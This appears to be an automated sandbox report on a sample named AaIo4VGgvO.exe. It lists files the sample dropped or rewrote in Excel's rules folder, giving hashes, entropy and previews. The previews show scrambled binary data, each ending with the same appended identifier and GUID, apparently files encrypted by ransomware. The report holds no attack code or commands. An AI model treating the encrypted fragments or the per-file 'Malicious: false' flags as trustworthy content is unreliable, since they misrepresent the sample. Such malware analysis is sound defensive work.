C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120639v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	756
Entropy (8bit):	7.729327845086839
Encrypted:	false
SSDEEP:	12:CCW+VBirrG78c+z5sxSoyi4cCdK+teV+hjub8kBgJWmYARuCliUNJIoHqv1+ciik:CCGFV5sByjydYkKpYARuCIUDIIbD
MD5:	4BC2B8847D2502A4A1B760789BDC37A0
SHA1:	19F1E83EECBAC0CC002542A63B8DDF2FCE2A010F
SHA-256:	4DF190CFA8511BA55CFA49A1BCB762427D6F38CEFABE7C404711003077595EB6
SHA-512:	CD444AE5CC6A87D734B12900F8B31D1A2E2EB05616A2DD3F4DA94B31070A814F226E609172E6DDF60C0B4A2E62EAA3A52B75D116CEF029BF2AE1D333CE469E7C
Malicious:	false
Preview:	<?xml.@.v.l......p).NAj5..p.<.K.w.9x1..A..(^..D.G.1.6j.\|...kR\|..h...=@0.,.......5.FV..8.HD....#...MBZ...P~......,.r.*:f..W\|'x.d3^..({..l....Wy.....:H..\1x"..D5.5\|1z....e.L.y.......!.,...-.d.YuL.=.k......(....kh._..V.3.]E...J...Rb..n^.C./.^.&.ju8....W...0...y.~....z...>...F...E.../;i#....gx..g..L...F.ou.."b.1.R{b.......])..,.OoT.7:.'...X......BT....p.[C....].2.y...t.T.O41.f..".%....a..+.....<.../...W_.3....Y.2.".te.K3.Ub.S.M..=.!c..;.}.5..Q`.....~..CNX......;.`J.F..v..I...Wq-?...m........>.Y..]...(9.3.....1<.m.. ...#~p.3...B%......n. .B.?T./...bj...>...K........)K....n.......z..\|S....F.Lz..ss)(..O.y..'...../..y0.S..]../...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120640v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	811
Entropy (8bit):	7.760854510386661
Encrypted:	false
SSDEEP:	12:Rj1t3GZOvaDNCH/uIPnJG4K9xXa+tQeAszNm74Usg47vShqoNH4vm+2H1+cii9a:h1GOSwuN4OxXZEXsguvQNN+2UbD
MD5:	EB18C90232A0ED944F6790DE37C3A4F4
SHA1:	81B34598DD360B70C11AD575E120637D7C252B34
SHA-256:	45F9BE1662D2B57019E75F7C7997004D172CCB78C8DC5BB159A474D51F1C3EDA
SHA-512:	D3FA55A93EC326314E6FC11E3D2253809207A4011E322A37B95D1B38B8BB734901EEA06FE97121ED47D38F2105C374EE650818BB0608591923339673711B3D5C
Malicious:	false
Preview:	<?xml.N aO.`.G......;u....h...O.h...j.z....@8.l3.e.[.O..B2..m.; ..._g..w........AT..D!.V.UAcx..0j\|{..;]..;&u.m...BL.w...wy.j1.....d.H~.%..L\.q.^.B:.Z...........O..^.K)9un......a4.%m>[...4'...c.[.......,.3.+...s5.<...?.Fi]..>....N..K..A......5]c#..n...5.P1.<MR.$..vy..2R....4...K.....3.r..@.....s.g}..._i.../o.#D_.jr...fRY......8../..:,....H >...z.U...c.....#..Z.. ...w.$.....[.m.*..d..O.<D..@H.....:7G.Y...u>.8..\|.....v.fQ...c.!i....2.c..#..W....... ..}N..y8..8 ..v......5RF\|'..1..:...........B](.5.....%."..>...8...Q...G...vA.D.!..E...%d.k_...'Y.....@..vu..k.#....YQ.#..>m... ...K..l....H.az.....}.P5.12Y..._.....7.. ......=9p.^.5..n\|.di..>a......\.qB.D.~.k...mb..e..9...B....l:".'r...7..\ESLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120641v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.6925959380548505
Encrypted:	false
SSDEEP:	12:BXmiWw/SDg3tBEVkZhSNhsAkAOEhRtGe3sUIolZxmupr/XHug+1+cii9a:BX8wqMtBEVkZiSEhRtGefrvZpjHuObD
MD5:	A200C25FEFA8B7B681A04F45B41D4417
SHA1:	271D3F633DF1D47A2049335E1DC757C7BA02EC60
SHA-256:	C225F3CDA9DB0C482AF59996316CF175E09CC42445E7310CC2CCED943B741C95
SHA-512:	822B0C2479C5E379DF4D986470A5ADC13760644AF8C31357EE230C6C0DE9FE98F0B6558DB8FEF2A87D3A97F6D1B07675D4C82704F7FFCBF39451FCDDFB536004
Malicious:	false
Preview:	<?xml.B.e..z-.....\K...$.=M+.M.>..:.......-O}.....\<..{...;L0.}...n.._/)..J.ki....V-X...".7..^.lpJ....V.u[T.^....gH..7..T.HMU.1..x.t.;TY.[{w.l.>L..6.~.D.B.......X..?P.^.31.g........C~.EJ..E..$V.4\|.......U.9/4.. O.l.g.Y.0...;z...ee#....g,N..`..]-..}.E.Y0P..[....>..7....,`.........U0..aL;..9].6.s.....O..ND.....X:...ugE......!..A.)........Hua..`.:..`..}8...o[.=....!...3......W.:..Ux!.o.S....7...X...8.z.0...Z...8.I.."_..c..]...{D'd...f.......jet......-."...._.@.Q..G......%.0...VI.'.f._j....'/..#b.[......$..b.b...+.."...........>.R.!... H.U.6..;T`..k.B....-".F..Y...mU.....p6.....x\.......TI.;:.jcZ....'...e..N....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120642v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.7358157449139195
Encrypted:	false
SSDEEP:	24:UwwSXsIntV7+rRu2gakJUIfSNHD4zmObD:U+s8KRufPdWHMzrD
MD5:	DB77BB5F66E9E0DCB9A24C70387B8859
SHA1:	4C516895CC7314AC90C985DBAC9E9E3FD742F204
SHA-256:	8CF321B7DF66605B43F65D0890D231FEE1D727BF5A672CB731820D0D4A00A8BA
SHA-512:	B433104CF3F467B1505280AB708FA4E76CF0B6F86B66A60BDD4AA73E546887609F914F9C6324F82B0B01C5659E16277E4A4EC61F0805F7BE07DA6C01BDBE3FA9
Malicious:	false
Preview:	<?xml.B.....#...y...l.B..y8p.WA...M.....nDy..T...!..K&.p.....2..tx?....K..5....1.T-...2.......j...._.c...A.M..1^....FV..X4...Y...J.V..]w_ ......... \|...+.B.i...x1.I..Q.gE.ZWJ.D$.\r.\..J.._..ki%V.............?+...../A...u...MV.R..92...a.8$3s..>F.%)..J...^....J[.R..6......X...).-..v.e....y....H./....!..z<....s.`.Z..htE.Dv.M..........Q...Q.\|W..'.k...C.b.I.-W...%'f...z.\..pt:]@L...Rl[..v.N....e..'(zb..t.(.yH.......Kp.&'....E.^.....@.d2...!>.D..}.2'..y.2...r\|..cg...N....\................o.H..rD-.#.%.......:...].=...J..x4B.........].M....#.;`...2..mYk..8\]..."k...u......:].&>V.....J..\...k.b$B..=..e.%......D%$.......H.-...>{:....H....].7..I.C...._K.\|E.U.2H...;..p._h.....H..ND.v/dSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120643v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	733
Entropy (8bit):	7.7572061508432215
Encrypted:	false
SSDEEP:	12:iOfJWu6lZodKeWnOWcIn5kax171YpOF+a+jxXbUNqXp/+H0ciRQU3I/xa25UW7fm:izu6lq+OWB68lSwUdXbNw/iRZY/wbD
MD5:	38D81BD579445C0E803A74CCB4C1ABF0
SHA1:	7D1C5B8AD02B93219294D5FFFF7A430ACB2A8A48
SHA-256:	F64D1C545D5A5E5D885AC9DA0E2314050614E31E5E096E889D143BE1270D9F50
SHA-512:	345720C537FF276159AD8EDC79F81D38205F7D6A05A9B3B236B76A81FA96F5A16F01A347B7502DA6300921CC270B83F52DEC85C7B00D46B21DC6634B00C0E149
Malicious:	false
Preview:	<?xml.Z.....@.#.9...:U.A.Y...C=0......../vL../.5g....3N_...5......I..A.$.+.R_..............!.4.g.C....G....O...d1.24.U.......I..^....-.. ...=b.....b#'@..l..XjpA...U......f.G...............w.....[J..YL..9v.M:..].8..o`.b.Y.(.=P.6..DP..!.X........)...VY..,..3N.qQ...k....%z.........y....6.....].n.8E........{o"vx.Z....w.<s....!.l.....=.!.V.J.=...B..n.z.4.........e.....F7i......En.Gf.G..I...p..ZF+...!...j..v;u...%.t.sV..-.62..9..../Z...k.h.L.d[..}U.@...~.u.2.yz\|!.O....+......_.zv #..D.@.K...e..F......a.4(.q.......T..g.W.]...1..wj...u....(..&.~....P.I^....a..q.\|.p.......t$..j.e.fvl.X....T.3...\|.p..J..5.zv3....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120644v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.756900408220917
Encrypted:	false
SSDEEP:	24:IhA4IpTuNVE/zsPhUIdEKDbwll34S66bD:2JYw+/CdEobs34SnD
MD5:	E428CB16ABEA846FDE0916EF488C3EF0
SHA1:	58F5012B4799C17BD25108FED7A6E26DBA3BD201
SHA-256:	80D3354906E69CF354DD4E0070C9FB7D976F8D14D8CC0DD795D5FDDD2CB518F9
SHA-512:	D3F89873DE43CFF0DF45D7F5968510017651E39072538048B0AE789E24B877CA7409FB5D84A316C5EA36233849F1486C62D674E70E0DEFDB3DB55A10EF07B0DA
Malicious:	false
Preview:	<?xml!X2..._...U..M.........../..1.NHO..GT..R.<.V........RI...D).\....M..n...kq..j...{8o...VP.R.>k.........$D(.+.....c..IB....a3.t....$.E.d.U.Zx.y..^....0.i........rvd).....jv..hu_.i../...}./..r.$....q......3.N.<.D.....U8.=.U.e.Wk..v...J..u..$.4W..Ow.Yg..<v......NV..+-6.2k..._".....C.>$.d3.sK...u.daNp.6"....1.......<&..MJ.HH&c..L....V.o.c.g.].C....y^.x.W..q(0.>....PF......e..,jc..!...\|`....7.@-...;..L.?...i../k.lq.{..P.......%.x.!...s.sv.l..vEjC.^r!F..s...`O..y@?..rc.YL.v2.g..MC...+c......,mL... ...M...vL........a.n..../C...H.:...E....#.~<K}`:...t.....k.J...;..<.px....X...y.....*..i.......\|.z.c..jo+Z.px.....b>....F...f...)#........`...H.M.HE.U.e.T...t@.....d...T..qwXzB........c`.a......SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120645v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	758
Entropy (8bit):	7.7002883063703385
Encrypted:	false
SSDEEP:	12:ptagUcNvaeaOaKN1tplPq94w3JpLYK7CrXmtPbN080X6JnO1I97R7xiOhmO13A36:tvFaOfnLPq948v7c2MZ27DiOx3gIbD
MD5:	24A939B5F733F06D959A12FE97F50428
SHA1:	D79FA4E42913825F24D68E61E850FE12B72AE2E9
SHA-256:	9D26FD335D567368797C10ECF648E7AD29A159BA70DC3F501E744CBE84468524
SHA-512:	1E1A1418B026172815FEFED9FF25DF7ED7096C7AA09FEBA4A1CE074FAB4EBF64BA9C5B98E50192B17324335A11CECB785522B2FC75A1661B10C72495A155222B
Malicious:	false
Preview:	<?xml..>..NMq....9.}..Y.V'.[q...O.doH.......n1.M.5X.....=("y...sQ.A..".P...y....%O?&IE......e.?).~Z.........;.Y..e._.;..6.....fr..%....z..)J.uZ.g......ce.A.[....,.Dc ...k.>A5K.3..+..{e2.........#.e.._.'.M...tc.c....F.n....:w.\|...b.........<... .).l..wEY...8K.@.NR..2..7J..O......J..Z.%.4..{O..M.<s..V.....!P.NDgE..J@E...?]..&0..N..C...(m.....N.~.u...8..;.r.WLQ..m.1..f.#WO.fFZ.z..'.......:3..82_F3...U.....t#-.O..\.o....y\..?...7D.`..IW.....+....4C.E.. =....+...S..e..W.....z8...M....{p..T<..]..`..an...\.le\|....U....C..PT$...2.!0..>......(....G.B....!..T...(H..,...z...E..7. ...).........:.(MH_k6X.t.q.S.L.-.pI..GV*).w.1fKVsA..#..[P.2..c...3..e'...A..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120646v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.740982215900611
Encrypted:	false
SSDEEP:	12:AHJazur/WX/1pcfRs9VaUBGWGB+PX3T/FxDFYzNbery7O+/8Qqcr4BwJ2D1+ciik:A9re1pKKBNGAPXr9YzN6rs/Zvs/QbD
MD5:	754711EE7162FD7DC1BB5B43B7454733
SHA1:	4CA89E48E5FF492B37DF3601E16D1492357916B2
SHA-256:	B316F8C6034AA414257FAB3EA27ADFE31B208E3C51F0CBF6F31FDC1381888038
SHA-512:	3262F648C0C4FE0894DD8BBD5E9FD5ED53F8F304E73E77D08904F2E138ED23118040B4251FDA3FDFC0C1EF20BD303731564F44B8B6473E70A32FBDCFC831B676
Malicious:	false
Preview:	<?xmlZ.:)`.+Urv.M..O-.........L.X..T..$.. f.....q.+...< ..\|....K)p8."aH.-..+@7/-.....5.k..>..z.Z.O.es...9.f2.,Y...v..T%..y..&...L......._......0.B.(...u.....^...b.....A.P}...i=..u...N.[/\|xk....E..I.6........J..E.C...(j:..6Lx...S.q.C..r07....w2..a....E..0.........[....h.1t.L.i5.e/.<c...-..q)u.lp+........<.m...4..s..n<.Es..,.....G$M.\|.p.Jf..N<...U.)../.k.(...Gm..vH1....Z........z....Z.f'.._c..z......OG`.+.-,=P..^..0....AP.V..........{....d.~...{....B..7K.\.O._...{R..c..:..%*:0U>U......X....}.c[.B.%.Z.5.k.ON.....I. <R.tA.3u.3....Y....(..t8[r.<..K2z...8..<JG........U..r..$....H..,.h}3.1...`.QM~......S..D...oK..]4J,.h(.....]D.-c....<....f@D?...a.. .G.I.Y.XWN....b.0I..C.!D<g...saUSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120647v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	781
Entropy (8bit):	7.721880262861609
Encrypted:	false
SSDEEP:	24:FwGH9sZ2EdOsVSUZN7yq+IeLudC5v3jwO2ObD:O6sgEkex7J+pb3msD
MD5:	7FA6F3F75DF7C1E9BA22105E42B29281
SHA1:	6D75A28C7AED4A47065DD0810506E142BD14B03E
SHA-256:	C00584874E2D9303B225ECA15F218F0E9A3C484675EED718E408D6F0497555F7
SHA-512:	1D63E651D427F76C5AB0A5549359BA729B2B9848DFF891579B26C64771F8631E22CE3FC91C4761B668F2ADF85A0F94DACEF1495CA7FB87F5ED8920900C06E4FB
Malicious:	false
Preview:	<?xmlfo.oeG.8..&.N....:E.."........u...o.+.@..._.[M.Q...4...y.Z...S..b...t..5...Jk$..X9^'M...n.qX6..\|VIv.l...0.+..C....4.....=.....b.I..W...Z.H..\|........\|...G..".:.9.,..'{#....5JT..5)...y....U..i;..(.....G....HHm........9....^..c.'4.....d.z..?)i.W..ot.e!..Q...Ez..@....fa.-I.....z... ........f...,X\|......1./.,.q.a...[...G...@$h....{...?.!x~x....&...a?....i....4}.R$.....$.nv..g..G..}3.[.=..+...5...).gl<.g.e7.J..C....:.G.,..B]..sK...<@....4.2KbI....0B..0....h}.d./U..\|..... 9...6\>L=Rnq.Y.%..r...8Y..gR8..ON.G.@.*......Q..G.LKO=.....dLv.@...;....\H.3w...~....._.}.s.H.q a..W(L#.Z....V.Co.........a.;...!X).X.!....L.lzT3.F...H.....F..<.\|`n..Q.2. H.FFs.8-.n.%p..m=6.E.2.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120648v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	824
Entropy (8bit):	7.702101476208606
Encrypted:	false
SSDEEP:	24:9EeWt4a2d8iHIsNQrDRC4VDw0LbnW+FJ76R9javFSWbD:ueaGdtHNQt1VL7WSwetSED
MD5:	B704199B75602C84BF6202C42F00FB9B
SHA1:	E8E4014D76F7ED3F379766CED8393D9EE37B777A
SHA-256:	0F1963559DE4B216AC2D47BA2A6BEF89898D75A941CDCFD2C16CEB8BCF4E7E4B
SHA-512:	9E691E65BEA73F65E9538DFDFD46FD74B9B1324FF9476F7140E9028F53BAF4F7BFCABFB3E9E52961FCAAE3499FB8024C9760592FB02E5F3CBD5D70E16290A11D
Malicious:	false
Preview:	<?xml."c.^~.?V.!V3p..L<cl.T.$E=5X.e..B.:<>U.w....I{..g.2..8....}:.J..h..}.w@...3...7..~z..`y..K.t....aj..dO.....h.Z.;)Iw".....R2..........Y....Z.......bU..t.}....u.I9.w...9....v;.6..Y.o..8.....v ..,.Y.......9..C(?e..`bD....e".%...'...tAoA.z...}.]"..Q.O.H...>.>....{...f...J.^.gk....).d&..)...<v-..P.p.J...V..E..oi*.>....{..1..@.d(.G`u<Gr....xq.3v..\|s..T.L.g.t..T...#n.........._.DkE..e.U..w..E..U..{.NW4..H.5Wg..8n..'..;K..........W.?.lO..r......,0..E.g.....h=.T..!..#.N.vY..A.g.L....&T.L.GNI.....29`M.qD......>.t..1t0k.P.G.4UB....)VQ.t.rf.mr...I..c:MV.Rf7I.`.n......Wn.8).?o.<r..^Wf.w....X..R..x..T....sz..C69.%...%w ...@.4..MPH..i.M...D...7...cI.j.1...b)....j<.LoC....w..C.r.....k..y\.".>f.=.h\h..z.".....k.E.x..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120649v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.66167388206717
Encrypted:	false
SSDEEP:	12:6/VC1jdyhnweEWxE6do5+2Q7v+Hac+tqjAXUeXRtw2XsgoyM/UjOfx8itduplpSb:6g1kOeEWxvG5sv+HugcY9Xx85OVyYbD
MD5:	C632811CF9B73CC83FCC4F2C3B9420FC
SHA1:	0BB1C37C0A4028F3A1977277F01A6A7471B8D376
SHA-256:	CF5B2264404E6F326A39742CAFE7499FF0520E8F1DE3D65AAF140A64F066DC59
SHA-512:	FCC7760C9B8B82B0BE8AF82A59C608A1BDE0DA3583FD6CEE03B735F4D5EC9F269A1562D077C644D132705DE787A8B93FFA2B84E1565D2B5EF164B3A15B26D721
Malicious:	false
Preview:	<?xml..2.GDY2.g..l..hP.."m..C..b.........s.pS.>Na(.?H.8.L.{.;....`OkE.I........_.RO.+..=.. ......?!...[1.#.s...eA]3...Zh...._.....ZX4.6..~J97....}[..0..'....j]b"...>....5..9m.Y.....)..0.`_t.x..m.......h.I2@=W..\|.Aq...W.=...koNR.....n.b.i.r....U..M...w6.#..k..L..0RL9.....z.\4._...m..9Z.1...m.wk..]xO.~.!p.e...4.......\|.f...x.r../.9....D...........yj1 -9.f....q..VZ.....Jt.G...H#j..(M<R&...b.Cr..PU.:\|.,...%........'j.3.._.8....B?r..t./.._3r....mbO..P...?.I...ys.u.LP..l.&fb..K.....z....[q.k.\|.r.2.I..TD...`_..E.Z.`..?.o...w..F..../:..py+..?..D...7.h.7}G....l/\X.lX...M...`yf..Kfoib.rom.z.{.....6 q.....0.O....&"H...........I...3.<SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120650v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.766428979174014
Encrypted:	false
SSDEEP:	12:bPgKG2kkHhZnbff3RRK0BUAyK5kuvuneZN6kPU8/EXCUj1+cii9a:8qlHb3G8yXLe/6N8MyJbD
MD5:	63037F315F19E5A49BE6083BBE448FDC
SHA1:	A0D91D771FECE0656154F99BE91623DA28C21F2D
SHA-256:	9E3BBA77BC03F0403CD70CC11B76D27ABC2C0C604C5E211F8A77876989A16E55
SHA-512:	04400905DA5959A8A1C2F96AD0AD38872C2F3019F44EBB8426BF21E2F1C36E6FDD9892F37CC83838BFC8B011A4A820A398D3270F651C651C243540686FF4E8BB
Malicious:	false
Preview:	<?xml...Y0......0.x..1.>Xi4~A...Vv.X..&K1........l...O...,...W......F'.N..9r..RF....DD..].......j.CT.>..A../.6.-......vV..WM..........9u....KJ.*....$1X...I...?r<G....n:.Q....Nk.......R..]Es..z...'>..y^.....@o.(.#..+1_I......?....}.:. X&.Db.?.9.S..1.....F.\.w.Jv3.r.:U.'H.."........Q%...<.....2;..K..D.Zx..O#.!$..};y.....jr..D ...u.Z.U...q..L}.~]Lu....!.g.C.....A..R..I..CR..M.$.....i.w.s.....`....S.$.27$a..S.N./.r.(.] .gu.k..9...R.e.b..S....O...\|..g...........o..}mlX7..?e..d..........(3.~...vh........@.D.....O.S.M.=..on.z.f'~...... e.ho.-..7"...x....... .F...7M.....p](.Y.j29.v..}....!z0>.....O....\|..(%.....F..\|..F.....v....l...X.q'C.2#.......e.....M.;^N..tvf..,.n?..v'ma...'..E?.XKSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120651v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.7209811948923885
Encrypted:	false
SSDEEP:	12:toP6/iWMrb1to2Ifj2kkVe1JchxBXQ27SMBqY9CBsmbrNi+7ViEfB3o2WtSf1+cq:CS/OX1uh2kjHcvRQaSMBqY1srNis5dW1
MD5:	F932D537D15B503B7FF819A8B979A6AB
SHA1:	66230EFAC0D002E7B005E713DD6E8E40D7E23DA2
SHA-256:	82E304CBF4E49A29CFBFD41A9EEA9EAA771D40E2F2EFCD30AF35D79A46B06EC6
SHA-512:	76D40CB2A3BC93CF97DEE58746CFEB02FD11DAA105C6015782AFFD0FE782AD186A41F7D448FEF320C1C54FA468C336582C4B2CD3C3A1BBB84B5D888C3B3A3EFC
Malicious:	false
Preview:	<?xml.+....4B....\|...I.M.].h.q..9<..+.p.A.E.Z...?..M..;v..@.....(.wi.m.....!......I..4.4.V,H-..+[.=e...P!}.@.F..x\|..Rq....P..z.D.Yh....+....lYb..X;......m.G..d...\l....a../p.Hv............7.._nC{.L.$%..X{nuh..9.j.P..9=.>..g_...yP..oy..../S7..Z.;.....j.P.T.i..Ep~Y...g!..q.$}$....7..d..4+#.{..^#.\#N,..z.Q.A..<O-.....6..'I..3.......9..C.ES..t.p.#h..._%v&....J.....H.7oc....Rj...s.A.L.A..`x...b..7........W....i..^.G.+^.\|.H./>..&['...e..~Q........rf..E^f.T...#K9......o\..g.[..........I..?,.)>.e.d..G`....Z.\.m..#p.Lk..6.....Z.q"}2...%/b)@lJ.-...#C..k..D.q6......m..C.?..;.....'....4.e....>i..~.N..`...o..........5...x..e.S..V.x.p.g9.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120652v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.723030678990657
Encrypted:	false
SSDEEP:	24:DMqY4c5CaILgwc0LgyCOS+4IeG9ZnUmWD3bD:Aq/c5F+gwWyC1GZnuD
MD5:	FA1C50ADE526C1B9FB58509B24CC89B6
SHA1:	5893B77E7996D6DE17546F0F8AEE0469B4E9EBB9
SHA-256:	8AE15A1CE0A856912A03AC13A3D7B5CA1177DF910D2697F617CAD1B0231A1FC8
SHA-512:	4BC7E31129040C1BFA25AD5F0DE0F5BC85779EC7DB1F159A729D8E44C0233DF0569724965A7C9C8E65A2F91D1E5AFE05532B6AB9042DF23B77122C3997C88083
Malicious:	false
Preview:	<?xml......7..5!H.5.o............Xq....n1...../>q..1.GN.F7~...N.=d^a.. 6.?.#..Fmc.W.......X...l6...s....V....0..\|...!z....Z.p..?f.Z.J.....ESf8...-..V.!d..P.U;...\|..\3..;...qu8.5..^_...&}..;.$....4.3#..-..=...\|.O...C"LN..5/4<...8....._8y......#..-...9t..>")..L{...B....M..b..Y.`.Q.Pt..e.Vx..2*..L.k.<..jR.....m..\|I0.$!.#..L$:...AVR.<.../.+.i...`^Ey...uaHg...n....!.X.......n....c.z.NZUZ)...R"..f..x....CU.1..... ..J.......A..JdF.).b..rL....U..<.!..s..Gv}\k.bXoNm..K;.P...y....M1d....C3..W.J..[...... ...0o5p..c... ...M..U...s...-M..H"e.rXY.{Eh..IA.+.....4 .,<.g.n;.".!....f{.......}.l.+.qi...t.m.\|..i}.!zk..1.w....p.e/. ..&...p.bP.y6;.~.%.x}%S1.>....K"(=..^.O-a.}.....1...w.`SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120653v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.655496903533882
Encrypted:	false
SSDEEP:	12:M8ELtd1/cf0DlNOQ9mpNamLdNrY5rvjGRHkV1zZuwd6g/hDY/zrrZkRtzTPFY6Xl:M8UW82Q9m2mQjCA1zZuG6+Y/zJ0uLz6f
MD5:	6E1744851439388FA85B70AB11C01A30
SHA1:	35A972021F24A3AD704C281C9D74EE92DCFBA8B3
SHA-256:	9DA9AD959093E94A5241797C7500A535463EF9E83C66E5F60487F1437E494055
SHA-512:	3C3CD64552E5BA376CEDF0D54B844D964869D987EEE42DA1E4B94CDE1AF1EFA2BEBEA477851F50A4D893F17E42181AD94505A6CBED0C4473AB5C6CBC428CFBBC
Malicious:	false
Preview:	<?xml.x..\....aV.3[.,.P...).$...Y^/.#i]..s.....Cni...H....Y.Ko[..Y. mQ.\|..y8...'..R.@.x.e9......."...k./3..Ta.].(..m...@$....O.HNR)4...]3..&..)Z..b+..4..}......4.<.=...].bP4.:7..K.f..t..b...i.....">...@.}..l'..2..me0%.]Z....D..$...C.%{.q.b.i..\x.`S.y...(...>.(6gH(.L..x.r45.6DV.(7.]...Ic".'.....>.%[(.`..9.L.0.....N}FljA\|.So...%S.Y.W.Yk.4KsE......3..Jz....f.d..."..]Lt.0wuC8....\...+A...F..;.M..;..C..~.@+^..<.z/Wq;..[#...`.r.B..Syd.\N.D.!ae".P..........at...!8.....V.Y...0..XNEN.~.}..E.o..mK.........)cC......")S.B5.~N>.N..._^.. .r....n4........Q...."..H../.&n@....G;....x.~.7..]P..46(..#,]?...J.:_.j.....u./....*.p..j)..I.&......#.H.&..t.^.e..&.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120654v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.720302400925505
Encrypted:	false
SSDEEP:	12:lOp96JxAWbfmdEPoHqmZJPz6qWy1c5o0JxamXu3mK75rVHz2eHk49Pz1+cii9a:lRbfmdEPoe1Mc5fvUT5hieJPAbD
MD5:	9D016773EA469C03C86B4F191465127A
SHA1:	DE820CDF68738153A0B3B46A9EBADCC6730A6052
SHA-256:	60622CF1C7E0B86AAF58DEC223B6A548B873298334266811A649EA658DB57FF0
SHA-512:	EC149590E68F4411667DB885413423A9525EB91E7C2BC8FEF52CC39321E488B8E234F4466F58491626675205C585707E8FFB8D4B08FFA2712F66A734A2206C12
Malicious:	false
